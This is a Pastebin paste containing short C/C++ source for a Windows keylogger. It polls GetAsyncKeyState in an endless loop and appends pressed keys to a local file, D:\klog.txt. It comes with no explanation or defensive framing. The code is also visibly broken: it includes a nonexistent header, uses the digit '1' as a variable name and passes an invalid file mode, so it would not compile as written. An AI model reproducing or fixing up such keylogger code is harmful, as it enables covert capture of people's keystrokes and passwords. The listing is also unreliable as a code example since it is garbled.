SHARE
TWEET

Untitled

a guest May 16th, 2019 67 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <fastream>
  4. #define DELAY 100
  5.  
  6. using namespace std;
  7.  
  8. void writedown (char key) {
  9.     char *path = "D:\\klog.txt";
  10.     FILE *out;
  11.     out = fopen(path, "a++");
  12.     fprintf(out , "%c", key);
  13.     fclose(out);
  14. }
  15.  
  16. int main()
  17. {
  18.     while(true) {
  19.         for(char 1 = 47; 1 < 91; 1++) {
  20.             if(GetAsyncKeyState(1) != NULL) {
  21.                 writedown(1);
  22.                 Sleep(DELAY);
  23.             }
  24.         }
  25.     }
  26.  
  27.     cin.get();
  28.     cin.get();
  29.     return EXIT_SUCCESS;
  30. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top